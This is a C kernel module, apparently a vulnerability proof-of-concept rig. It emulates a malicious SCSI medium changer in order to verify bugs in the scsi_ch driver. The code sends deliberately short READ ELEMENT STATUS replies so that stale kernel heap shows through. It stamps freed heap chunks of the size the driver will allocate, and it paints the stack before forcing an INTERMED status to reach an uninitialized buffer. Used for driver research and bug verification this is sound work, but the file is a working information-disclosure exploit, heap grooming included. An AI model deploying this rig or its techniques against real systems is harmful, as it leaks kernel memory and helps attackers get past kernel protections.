/* * evilcd3.ko -- evil T_CHANGER rig for scsi_ch.c pass-2 verification. * * Derived from the DF-5327 evilcd2 rig (findings/poc/DF-5327/evilcd2.c), * reduced to the fake medium-changer target plus the knobs needed here: * * debug.evilcd.resmode 0 = normal READ ELEMENT STATUS answers * 1 = 2nd RES (count>1) transfers ONLY the * 8-byte header (avail=count) and stops: * short-but-good transfer, resid>0, exactly * what an evil real changer can do. * debug.evilcd.markres=N kmalloc/free N-marked M_DEVBUF chunks of the * exact size chgetelemstatus() will allocate for * cesr_element_count=N (8+8+16*N) so the * non-zeroed buffer reuses stamped heap. * debug.evilcd.chprobe=1 one-shot: next MODE SENSE(6) completes with * CAM_SCSI_STATUS_ERROR + SCSI status INTERMED * (0x10) -- cam_periph_error() returns 0 for it * (camperiphscsistatuserror SCSI_STATUS_INTERMED * => error = 0), driving chdone()'s * CH_CCB_PROBE "error == 0, status != REQ_CMP" * branch with announce_buf[] never initialized. * debug.evilcd.probeannounce=1 * paint this thread's stack with 0x42, arm * chprobe, then rescan the bus inline (same * thread) so the attach-time probe runs on a * groomed stack. * debug.evilcd.rescan=1 rescan the evil bus. * * Mode pages: 0x1d with nmte=1/mtea=0, fsea=256/nse=8, so sc_firsts[CHET_ST] * = 256 and sc_counts[CHET_ST] = 8; CHIOGSTATUS(chet=CHET_ST, base=0, * count=4) passes the driver's range check. * * READ ELEMENT STATUS (0xB8) behaviour (resmode=1): * - sizing probe (count==1): full 24-byte answer, edl=16, flags=0. * - real query (count>1): ONLY 8 bytes: fear=sea, count=, * nbytes=0; resid = dxfer_len-8; CAM_REQ_CMP. The page header * (data[8..15]) and all descriptors (data[16..]) are therefore whatever * stale kernel heap was in the driver's kmalloc'd buffer. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include MALLOC_DEFINE(M_EVILCD, "evilcd", "evilcd ch rig"); static struct lock ev_lock; static struct cam_sim *ev_sim; static int ev_resmode; /* 1 = short 2nd RES */ static int ev_chprobe; /* one-shot INTERMED mode sense */ static int ev_res_shorts; /* count of short RES done */ static u_int32_t ev_res_last_size; static u_int32_t ev_res_last_sent; static void ev_action(struct cam_sim *sim, union ccb *ccb); static void ev_scan_done(struct cam_periph *periph, union ccb *done_ccb); static void ev_poll(struct cam_sim *sim); /* ---------------- device responses ---------------- */ static u_int8_t ev_ch_inq36[36] = { 0x08, /* T_CHANGER, qual 0 */ 0x80, /* RMB */ 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 'E','V','I','L','C','H',' ',' ', 'O','O','B','T','E','S','T',' ', '1','.','0',' ', }; static void ev_complete(union ccb *ccb, cam_status st) { ccb->ccb_h.status = st; if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0) xpt_done(ccb); } static void ev_fill_data(struct ccb_scsiio *csio, u_int8_t *src, u_int32_t srclen) { u_int32_t dxfer = csio->dxfer_len; u_int32_t copy = dxfer < srclen ? dxfer : srclen; if (csio->data_ptr != NULL && copy) bcopy(src, csio->data_ptr, copy); csio->resid = dxfer - copy; csio->scsi_status = SCSI_STATUS_OK; } /* MODE SENSE(6) pages for the fake changer */ static void ev_ch_mode_sense(struct ccb_scsiio *csio, u_int8_t page, int dxfer) { u_int8_t buf[32]; if (ev_chprobe) { /* one-shot: SCSI status INTERMED on a MODE SENSE makes * CAM set CAM_SCSI_STATUS_ERROR; cam_periph_error() * returns 0 for INTERMED (camperiphscsistatuserror), * so chdone()'s PROBE handler falls into neither the * success nor the error!=0 branch -> announce_buf[] in * chdone() stays uninitialized. */ ev_chprobe = 0; kprintf("[EVILCH] MODE SENSE page 0x%02x -> INTERMED " "(error==0 path)\n", page); csio->scsi_status = 0x10; /* SCSI_STATUS_INTERMED */ csio->resid = csio->dxfer_len; ev_complete((union ccb *)csio, CAM_SCSI_STATUS_ERROR); return; } bzero(buf, sizeof(buf)); buf[0] = 0x00; buf[1] = 0x00; /* mode data len (unused by ch) */ buf[2] = 0x00; buf[3] = 0x00; /* medium type, dev spec */ /* blk_desc_len = 0 -> page starts at offset 4 */ buf[4] = page; buf[5] = 0x10; /* page length */ if (page == 0x1d) { /* element address assignment */ buf[6] = 0x00; buf[7] = 0x00; /* mtea = 0 */ buf[8] = 0x00; buf[9] = 0x01; /* nmte = 1 */ buf[10] = 0x01; buf[11] = 0x00; /* fsea = 256 */ buf[12] = 0x00; buf[13] = 0x08; /* nse = 8 */ /* fieea/niee/fdtea/ndte = 0 */ } /* page 0x1f: device capabilities -- zero move/exchange masks */ ev_fill_data(csio, buf, 22); ev_complete((union ccb *)csio, CAM_REQ_CMP); } /* READ ELEMENT STATUS */ static void ev_ch_res(struct ccb_scsiio *csio, u_int8_t *cdb) { u_int32_t sea = (cdb[2] << 8) | cdb[3]; u_int32_t count = (cdb[4] << 8) | cdb[5]; u_int8_t buf[8 + 8 + 16]; /* header + page header + 1 desc */ u_int32_t len; if (count == 1 || ev_resmode == 0) { /* sizing probe: full answer, edl = 16, no voltags */ bzero(buf, sizeof(buf)); buf[0] = sea >> 8; /* fear */ buf[1] = sea; buf[2] = 0x00; buf[3] = 0x01; /* count(avail) = 1 */ buf[6] = 0x00; buf[7] = 16; /* nbytes */ buf[8] = 0x02; /* pg type: storage */ buf[9] = 0x00; /* flags: no voltag */ buf[10] = 0x00; buf[11] = 16; /* edl = 16 */ buf[13] = 0x00; buf[14] = 0x00; buf[15] = 16; buf[16] = sea >> 8; /* desc.eaddr */ buf[17] = sea; len = sizeof(buf); kprintf("[EVILCH] RES probe: sea=%u count=1 full %uB " "(edl=16)\n", sea, len); } else if (ev_resmode == 1) { /* evil short transfer: ONLY the 8-byte header. * avail (st_hdr->count) claims `count' elements are * reported; the page header + descriptors are never * sent -- short-but-good, resid > 0, CAM_REQ_CMP. */ bzero(buf, sizeof(buf)); buf[0] = sea >> 8; buf[1] = sea; buf[2] = count >> 8; /* avail = count */ buf[3] = count; buf[4] = 0; buf[5] = 0; buf[6] = 0; buf[7] = 0; len = 8; ev_res_shorts++; ev_res_last_size = csio->dxfer_len; ev_res_last_sent = 8; kprintf("[EVILCH] RES evil short: sea=%u count=%u dxfer=%u " "SENT=8B only (page hdr+descs = stale heap)\n", sea, count, csio->dxfer_len); } else { /* normal full answer for count elements (not used) */ bzero(buf, sizeof(buf)); buf[0] = sea >> 8; buf[1] = sea; buf[2] = count >> 8; buf[3] = count; buf[10] = 0x00; buf[11] = 16; len = 8 + 8 + 16 * (count < 1 ? 1 : count); if (len > csio->dxfer_len) len = csio->dxfer_len; } ev_fill_data(csio, buf, len); ev_complete((union ccb *)csio, CAM_REQ_CMP); } static void ev_ch_io(struct ccb_scsiio *csio) { u_int8_t *cdb = csio->cdb_io.cdb_bytes; u_int8_t b[4]; switch (cdb[0]) { case 0x12: /* INQUIRY */ if (cdb[1] & 0x01) { bzero(b, 4); ev_fill_data(csio, b, 4); } else { ev_fill_data(csio, ev_ch_inq36, 36); } ev_complete((union ccb *)csio, CAM_REQ_CMP); return; case 0x1A: /* MODE SENSE(6) */ ev_ch_mode_sense(csio, cdb[2] & 0x3f, csio->dxfer_len); return; case 0xB8: /* READ ELEMENT STATUS */ ev_ch_res(csio, cdb); return; case 0x00: /* TUR */ case 0x03: /* REQUEST SENSE */ default: csio->scsi_status = SCSI_STATUS_OK; csio->resid = csio->dxfer_len; ev_complete((union ccb *)csio, CAM_REQ_CMP); return; } } static void ev_scsi_io(struct ccb_scsiio *csio) { if (csio->ccb_h.target_id == 1) { ev_ch_io(csio); return; } csio->scsi_status = SCSI_STATUS_OK; csio->resid = csio->dxfer_len; ev_complete((union ccb *)csio, CAM_REQ_CMP); } static void ev_action(struct cam_sim *sim, union ccb *ccb) { switch (ccb->ccb_h.func_code) { case XPT_PATH_INQ: { struct ccb_pathinq *cpi = &ccb->cpi; /* NB: cpi overlays ccb_h in union ccb -- no bzero here! */ cpi->version_num = 1; cpi->hba_inquiry = 0; cpi->hba_misc = 0; cpi->max_target = 1; cpi->max_lun = 0; cpi->initiator_id = 7; cpi->unit_number = cam_sim_unit(sim); cpi->bus_id = cam_sim_bus(sim); cpi->base_transfer_speed = 3300; cpi->transport = XPORT_SPI; cpi->transport_version = 2; cpi->protocol = PROTO_SCSI; cpi->protocol_version = SCSI_REV_2; cpi->maxio = 65536; strncpy(cpi->sim_vid, "EVIL", SIM_IDLEN); strncpy(cpi->hba_vid, "EVIL", HBA_IDLEN); strncpy(cpi->dev_name, "evilch", DEV_IDLEN); ccb->ccb_h.status = CAM_REQ_CMP; break; } case XPT_GET_TRAN_SETTINGS: /* must succeed or xpt_announce_periph() bails BEFORE * printing the caller's announce string */ ccb->cts.type = CTS_TYPE_CURRENT_SETTINGS; ccb->cts.transport = XPORT_SPI; ccb->cts.transport_version = 2; ccb->cts.protocol = PROTO_SCSI; ccb->cts.protocol_version = SCSI_REV_2; ccb->cts.xport_specific.spi.valid = 0; ccb->cts.proto_specific.scsi.valid = 0; ccb->ccb_h.status = CAM_REQ_CMP; break; case XPT_SET_TRAN_SETTINGS: ccb->ccb_h.status = CAM_REQ_INVALID; break; case XPT_SCSI_IO: ev_scsi_io(&ccb->csio); return; default: ev_complete(ccb, CAM_REQ_INVALID); return; } xpt_done(ccb); } static void ev_poll(struct cam_sim *sim) { } /* ---------------- knobs ---------------- */ /* AC_LOST_DEVICE on the ch target so a rescan re-runs the attach path */ static int ev_sys_invalidate(SYSCTL_HANDLER_ARGS) { int do_it = 0, error; struct cam_path *path; error = sysctl_handle_int(oidp, &do_it, 0, req); if (error != 0 || req->newptr == NULL || do_it == 0) return (error); if (ev_sim == NULL) return (ENXIO); lockmgr(&ev_lock, LK_EXCLUSIVE); if (xpt_create_path(&path, NULL, cam_sim_path(ev_sim), 1, 0) == CAM_REQ_CMP) { xpt_async(AC_LOST_DEVICE, path, NULL); xpt_free_path(path); } lockmgr(&ev_lock, LK_RELEASE); return (0); } static int ev_sys_rescan(SYSCTL_HANDLER_ARGS) { int do_it = 0, error; struct cam_path *path; union ccb *ccb; error = sysctl_handle_int(oidp, &do_it, 0, req); if (error != 0 || req->newptr == NULL || do_it == 0) return (error); if (ev_sim == NULL) return (ENXIO); lockmgr(&ev_lock, LK_EXCLUSIVE); if (xpt_create_path(&path, xpt_periph, cam_sim_path(ev_sim), CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) { ccb = xpt_alloc_ccb(); xpt_setup_ccb(&ccb->ccb_h, path, 5); ccb->ccb_h.func_code = XPT_SCAN_BUS; ccb->ccb_h.cbfcnp = ev_scan_done; xpt_action(ccb); } lockmgr(&ev_lock, LK_RELEASE); return (0); } /* mark N chunks of exactly the size chgetelemstatus() will allocate: * 8 (st hdr) + 8 (pg hdr) + 16 * N (desclen * count) */ static int ev_sys_markres(SYSCTL_HANDLER_ARGS) { int n = 0, error, k; size_t sz; void *p; error = sysctl_handle_int(oidp, &n, 0, req); if (error != 0 || req->newptr == NULL || n <= 0) return (error); if (n > 512) n = 512; sz = 8 + 8 + 16 * (size_t)n; for (k = 0; k < 96; k++) { p = kmalloc(sz, M_DEVBUF, M_INTWAIT); /* marker bytes 0x21..0x2F: deliberately NO 0x40/0x80 bits so * the stale page-header flags cannot set PVOLTAG/AVOLTAG and * drag in the (separately filed) OOB-walk class -- this rig * demonstrates the pure in-buffer uninitialized disclosure */ memset(p, 0x21 + (k % 0x0F), sz); kfree(p, M_DEVBUF); } kprintf("[EVILCH] marked %d x %zuB M_DEVBUF chunks\n", 96, sz); return (0); } /* paint the current thread's stack with 0x42 down ~4KB, then rescan * inline on the same thread (for the chdone announce_buf demo) */ static void ev_paint_deep(int depth) { volatile char pad[256]; int i; for (i = 0; i < (int)sizeof(pad); i++) pad[i] = 0x42; if (depth > 0) ev_paint_deep(depth - 1); /* touch pad after recursion so it is not optimized away */ if (pad[0] != 0x42) kprintf("[EVILCH] paint corruption?!\n"); } static int ev_sys_probeannounce(SYSCTL_HANDLER_ARGS) { int do_it = 0, error; error = sysctl_handle_int(oidp, &do_it, 0, req); if (error != 0 || req->newptr == NULL || do_it == 0) return (error); kprintf("[EVILCH] probeannounce: painting stack + arming INTERMED + " "rescan (inline)\n"); ev_paint_deep(16); /* dirty ~4KB of stack below us */ ev_chprobe = 1; /* next MODE SENSE -> INTERMED once */ { /* inline rescan, same thread */ struct cam_path *path; union ccb *ccb; if (ev_sim != NULL) { lockmgr(&ev_lock, LK_EXCLUSIVE); if (xpt_create_path(&path, xpt_periph, cam_sim_path(ev_sim), CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD) == CAM_REQ_CMP) { ccb = xpt_alloc_ccb(); xpt_setup_ccb(&ccb->ccb_h, path, 5); ccb->ccb_h.func_code = XPT_SCAN_BUS; ccb->ccb_h.cbfcnp = ev_scan_done; xpt_action(ccb); } lockmgr(&ev_lock, LK_RELEASE); } } return (0); } SYSCTL_NODE(_debug, OID_AUTO, evilcd, CTLFLAG_RW, 0, "evilcd control"); SYSCTL_INT(_debug_evilcd, OID_AUTO, resmode, CTLFLAG_RW, &ev_resmode, 0, "1 = 2nd READ ELEMENT STATUS transfers 8-byte header only"); SYSCTL_INT(_debug_evilcd, OID_AUTO, resshorts, CTLFLAG_RD, &ev_res_shorts, 0, "number of evil short RES transfers done"); SYSCTL_INT(_debug_evilcd, OID_AUTO, ressize, CTLFLAG_RD, &ev_res_last_size, 0, "last short RES dxfer_len"); SYSCTL_INT(_debug_evilcd, OID_AUTO, ressent, CTLFLAG_RD, &ev_res_last_sent, 0, "last short RES bytes actually sent"); SYSCTL_PROC(_debug_evilcd, OID_AUTO, markres, CTLTYPE_INT | CTLFLAG_RW, 0, 0, ev_sys_markres, "I", "stamp freed M_DEVBUF chunks of RES buffer size"); SYSCTL_PROC(_debug_evilcd, OID_AUTO, rescan, CTLTYPE_INT | CTLFLAG_RW, 0, 0, ev_sys_rescan, "I", "rescan the evil bus"); SYSCTL_PROC(_debug_evilcd, OID_AUTO, invalidate, CTLTYPE_INT | CTLFLAG_RW, 0, 0, ev_sys_invalidate, "I", "AC_LOST_DEVICE on the ch target"); SYSCTL_INT(_debug_evilcd, OID_AUTO, chprobe, CTLFLAG_RW, &ev_chprobe, 0, "one-shot: next MODE SENSE completes INTERMED"); SYSCTL_PROC(_debug_evilcd, OID_AUTO, probeannounce, CTLTYPE_INT | CTLFLAG_RW, 0, 0, ev_sys_probeannounce, "I", "paint stack + INTERMED probe + rescan"); /* ---------------- bus registration + scan ---------------- */ static void ev_scan_done(struct cam_periph *periph, union ccb *done_ccb) { xpt_free_path(done_ccb->ccb_h.path); xpt_free_ccb(&done_ccb->ccb_h); } static void ev_choreography(void *arg) { struct cam_path *path; union ccb *ccb; cam_status status; ev_sim = cam_sim_alloc(ev_action, ev_poll, "evilch", NULL, 0, &ev_lock, 16, 16, NULL); if (ev_sim == NULL) { kprintf("[EVILCH] cam_sim_alloc failed\n"); kthread_exit(); } cam_sim_lock(&ev_lock); if (xpt_bus_register(ev_sim, 0) != CAM_SUCCESS) { kprintf("[EVILCH] xpt_bus_register failed\n"); cam_sim_unlock(&ev_lock); kthread_exit(); } status = xpt_create_path(&path, xpt_periph, cam_sim_path(ev_sim), CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD); if (status != CAM_REQ_CMP) { kprintf("[EVILCH] cannot create scan path: %#x\n", status); cam_sim_unlock(&ev_lock); kthread_exit(); } ccb = xpt_alloc_ccb(); xpt_setup_ccb(&ccb->ccb_h, path, 5); ccb->ccb_h.func_code = XPT_SCAN_BUS; ccb->ccb_h.cbfcnp = ev_scan_done; xpt_action(ccb); kprintf("[EVILCH] bus scanned (fake changer at target 1)\n"); cam_sim_unlock(&ev_lock); kthread_exit(); } static int evilcd_modevent(module_t mod, int type, void *data) { int error = 0; switch (type) { case MOD_LOAD: lockinit(&ev_lock, "evilch", 0, LK_CANRECURSE); kthread_create(ev_choreography, NULL, NULL, "evilch"); break; case MOD_UNLOAD: kprintf("[EVILCH] unload not supported\n"); error = EBUSY; break; default: error = EOPNOTSUPP; break; } return (error); } static moduledata_t evilcd_mod = { "evilcd", evilcd_modevent, NULL }; DECLARE_MODULE(evilcd, evilcd_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_DEPEND(evilcd, cam, 1, 1, 1);